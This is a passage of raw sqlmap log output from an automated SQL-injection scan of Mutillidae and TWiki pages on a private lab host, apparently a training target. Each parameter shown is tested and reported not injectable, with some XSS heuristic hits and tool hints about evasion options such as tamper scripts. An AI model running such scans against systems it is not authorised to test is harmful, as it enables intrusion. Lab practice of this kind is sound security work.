to 10 columns' injectable [20:05:14] [INFO] checking if the injection point on GET parameter 'newtopic' is a false positive [20:05:14] [WARNING] false positive or unexploitable injection point detected [20:05:14] [WARNING] GET parameter 'newtopic' is not injectable [20:05:14] [WARNING] GET parameter 'confirm' does not appear dynamic [20:05:14] [WARNING] heuristic (basic) test shows that GET parameter 'confirm' might not be injectable [20:05:14] [INFO] testing for SQL injection on GET parameter 'confirm' [20:05:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:05:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:05:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:05:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:05:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:05:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:05:20] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:05:20] [INFO] testing 'MySQL inline queries' [20:05:20] [INFO] testing 'PostgreSQL inline queries' [20:05:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:05:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:05:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:05:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:05:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:05:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:05:24] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:05:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:05:26] [INFO] testing 'Oracle AND time-based blind' [20:05:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:05:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:05:47] [WARNING] GET parameter 'confirm' is not injectable [20:05:47] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:05:47] [INFO] skipping 'http://192.168.1.113:80/mutillidae/index.php?do=toggle-hints&page=login.php' URL 162: GET http://192.168.1.113:80/twiki/bin/edit/Know/WebPreferences?t=1441457596 do you want to test this URL? [Y/n/q] Y [20:05:47] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Know/WebPreferences?t=1441457596' [20:05:47] [INFO] testing connection to the target URL [20:05:47] [INFO] testing if the target URL is stable [20:05:48] [INFO] target URL is stable [20:05:48] [INFO] testing if GET parameter 't' is dynamic [20:05:48] [WARNING] GET parameter 't' does not appear dynamic [20:05:48] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:05:48] [INFO] testing for SQL injection on GET parameter 't' [20:05:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:05:49] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:05:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:05:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:05:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:05:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:05:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:05:51] [INFO] testing 'MySQL inline queries' [20:05:51] [INFO] testing 'PostgreSQL inline queries' [20:05:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:05:52] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:05:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:05:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:05:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:05:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:05:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:05:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:05:55] [INFO] testing 'Oracle AND time-based blind' [20:05:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:05:55] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:06:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:06:07] [WARNING] GET parameter 't' is not injectable [20:06:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 163: GET http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Web Preferences[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:06:07] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Web Preferences[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:06:07] [INFO] testing connection to the target URL [20:06:08] [INFO] testing if the target URL is stable [20:06:08] [INFO] target URL is stable [20:06:08] [INFO] testing if URI parameter '#1' is dynamic [20:06:09] [INFO] confirming that URI parameter '#1*' is dynamic [20:06:09] [INFO] URI parameter '#1*' is dynamic [20:06:09] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:06:09] [INFO] testing for SQL injection on URI parameter '#1*' [20:06:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:06:09] [WARNING] reflective value(s) found and filtering out [20:06:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:06:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:06:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:06:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:06:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:06:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:06:12] [INFO] testing 'MySQL inline queries' [20:06:13] [INFO] testing 'PostgreSQL inline queries' [20:06:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:06:13] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:06:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:06:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:06:14] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:06:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:06:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:06:15] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:06:16] [INFO] testing 'Oracle AND time-based blind' [20:06:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:06:16] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:06:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:06:27] [WARNING] URI parameter '#1*' is not injectable [20:06:27] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 164: GET http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?skin=print do you want to test this URL? [Y/n/q] Y [20:06:27] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?skin=print' [20:06:27] [INFO] testing connection to the target URL [20:06:27] [INFO] testing if the target URL is stable [20:06:28] [INFO] target URL is stable [20:06:28] [INFO] testing if GET parameter 'skin' is dynamic [20:06:28] [INFO] confirming that GET parameter 'skin' is dynamic [20:06:29] [INFO] GET parameter 'skin' is dynamic [20:06:29] [INFO] heuristics detected web page charset 'ascii' [20:06:29] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:06:29] [INFO] testing for SQL injection on GET parameter 'skin' [20:06:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:06:29] [WARNING] reflective value(s) found and filtering out [20:06:30] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:06:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:06:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:06:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:06:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:06:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:06:32] [INFO] testing 'MySQL inline queries' [20:06:32] [INFO] testing 'PostgreSQL inline queries' [20:06:33] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:06:33] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:06:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:06:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:06:34] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:06:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:06:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:06:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:06:36] [INFO] testing 'Oracle AND time-based blind' [20:06:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:06:36] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:06:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:06:48] [WARNING] GET parameter 'skin' is not injectable [20:06:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 165: GET http://192.168.1.113:80/twiki/bin/rdiff/Know/WebPreferences?rev1=1.12&rev2=1.11 do you want to test this URL? [Y/n/q] Y [20:06:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebPreferences?rev1=1.12&rev2=1.11' [20:06:48] [INFO] testing connection to the target URL [20:06:48] [INFO] testing if the target URL is stable [20:06:49] [INFO] target URL is stable [20:06:49] [INFO] testing if GET parameter 'rev1' is dynamic [20:06:49] [WARNING] GET parameter 'rev1' does not appear dynamic [20:06:49] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:06:49] [INFO] testing for SQL injection on GET parameter 'rev1' [20:06:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:06:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:06:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:06:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:06:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:06:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:06:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:06:53] [INFO] testing 'MySQL inline queries' [20:06:53] [INFO] testing 'PostgreSQL inline queries' [20:06:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:06:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:06:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:06:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:06:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:06:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:06:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:06:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:06:56] [INFO] testing 'Oracle AND time-based blind' [20:06:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:06:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:07:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:07:09] [WARNING] GET parameter 'rev1' is not injectable [20:07:09] [INFO] testing if GET parameter 'rev2' is dynamic [20:07:09] [WARNING] GET parameter 'rev2' does not appear dynamic [20:07:09] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:07:09] [INFO] testing for SQL injection on GET parameter 'rev2' [20:07:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:07:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:07:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:07:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:07:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:07:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:07:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:07:13] [INFO] testing 'MySQL inline queries' [20:07:13] [INFO] testing 'PostgreSQL inline queries' [20:07:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:07:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:07:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:07:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:07:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:07:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:07:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:07:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:07:17] [INFO] testing 'Oracle AND time-based blind' [20:07:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:07:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:07:30] [WARNING] GET parameter 'rev2' is not injectable [20:07:30] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 166: GET http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=1.11 do you want to test this URL? [Y/n/q] Y [20:07:30] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=1.11' [20:07:30] [INFO] testing connection to the target URL [20:07:30] [INFO] testing if the target URL is stable [20:07:31] [INFO] target URL is stable [20:07:31] [INFO] testing if GET parameter 'rev' is dynamic [20:07:31] [WARNING] GET parameter 'rev' does not appear dynamic [20:07:31] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:07:31] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:07:31] [INFO] testing for SQL injection on GET parameter 'rev' [20:07:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:07:32] [WARNING] reflective value(s) found and filtering out [20:07:33] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:07:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:07:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:07:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:07:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:07:35] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:07:35] [INFO] testing 'MySQL inline queries' [20:07:36] [INFO] testing 'PostgreSQL inline queries' [20:07:36] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:07:36] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:07:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:07:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:07:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:07:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:07:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:07:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:07:39] [INFO] testing 'Oracle AND time-based blind' [20:07:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:07:40] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:07:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:07:52] [WARNING] GET parameter 'rev' is not injectable [20:07:52] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:07:52] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebPreferences?rev1=1.11&rev2=1.10' [20:07:52] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=1.10' URL 167: GET http://192.168.1.113:80/twiki/bin/oops/Know/WebPreferences?template=oopsmore¶m1=1.12¶m2=1.12 do you want to test this URL? [Y/n/q] Y [20:07:52] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Know/WebPreferences?template=oopsmore¶m1=1.12¶m2=1.12' [20:07:52] [INFO] testing connection to the target URL [20:07:53] [INFO] testing if the target URL is stable [20:07:53] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:07:53] [INFO] testing if GET parameter 'template' is dynamic [20:07:53] [INFO] confirming that GET parameter 'template' is dynamic [20:07:54] [INFO] GET parameter 'template' is dynamic [20:07:54] [INFO] heuristics detected web page charset 'ascii' [20:07:54] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:07:54] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:07:54] [INFO] testing for SQL injection on GET parameter 'template' [20:07:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:07:54] [WARNING] reflective value(s) found and filtering out [20:07:55] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:07:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:07:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:07:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:07:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:07:57] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:07:57] [INFO] testing 'MySQL inline queries' [20:07:57] [INFO] testing 'PostgreSQL inline queries' [20:07:57] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:07:57] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:07:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:07:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:07:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:07:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:07:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:07:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:08:00] [INFO] testing 'Oracle AND time-based blind' [20:08:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:08:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:08:05] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:08:09] [WARNING] GET parameter 'template' is not injectable [20:08:09] [INFO] testing if GET parameter 'param1' is dynamic [20:08:09] [WARNING] GET parameter 'param1' does not appear dynamic [20:08:10] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:08:10] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:08:10] [INFO] testing for SQL injection on GET parameter 'param1' [20:08:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:08:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:08:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:08:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:08:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:08:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:08:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:08:13] [INFO] testing 'MySQL inline queries' [20:08:13] [INFO] testing 'PostgreSQL inline queries' [20:08:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:08:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:08:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:08:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:08:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:08:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:08:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:08:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:08:17] [INFO] testing 'Oracle AND time-based blind' [20:08:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:08:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:08:30] [WARNING] GET parameter 'param1' is not injectable [20:08:30] [INFO] testing if GET parameter 'param2' is dynamic [20:08:30] [WARNING] GET parameter 'param2' does not appear dynamic [20:08:30] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:08:30] [INFO] testing for SQL injection on GET parameter 'param2' [20:08:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:08:32] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:08:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:08:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:08:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:08:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:08:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:08:34] [INFO] testing 'MySQL inline queries' [20:08:34] [INFO] testing 'PostgreSQL inline queries' [20:08:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:08:35] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:08:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:08:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:08:36] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:08:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:08:37] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:08:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:08:38] [INFO] testing 'Oracle AND time-based blind' [20:08:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:08:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:08:51] [WARNING] GET parameter 'param2' is not injectable [20:08:51] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 168: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/WebHome?t=1441457699 do you want to test this URL? [Y/n/q] Y [20:08:51] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WebHome?t=1441457699' [20:08:51] [INFO] testing connection to the target URL [20:08:51] [INFO] testing if the target URL is stable [20:08:52] [INFO] target URL is stable [20:08:52] [INFO] testing if GET parameter 't' is dynamic [20:08:52] [WARNING] GET parameter 't' does not appear dynamic [20:08:52] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:08:52] [INFO] testing for SQL injection on GET parameter 't' [20:08:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:08:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:08:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:08:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:08:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:08:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:08:56] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:08:56] [INFO] testing 'MySQL inline queries' [20:08:56] [INFO] testing 'PostgreSQL inline queries' [20:08:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:08:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:08:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:08:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:08:57] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:08:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:08:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:08:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:08:59] [INFO] testing 'Oracle AND time-based blind' [20:09:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:09:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:09:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:09:12] [WARNING] GET parameter 't' is not injectable [20:09:12] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 169: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:09:12] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web Home[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:09:12] [INFO] testing connection to the target URL [20:09:12] [INFO] testing if the target URL is stable [20:09:13] [INFO] target URL is stable [20:09:13] [INFO] testing if URI parameter '#1' is dynamic [20:09:13] [INFO] confirming that URI parameter '#1*' is dynamic [20:09:13] [INFO] URI parameter '#1*' is dynamic [20:09:13] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:09:14] [INFO] testing for SQL injection on URI parameter '#1*' [20:09:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:09:14] [WARNING] reflective value(s) found and filtering out [20:09:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:09:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:09:16] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:09:17] [INFO] testing 'Microsoft 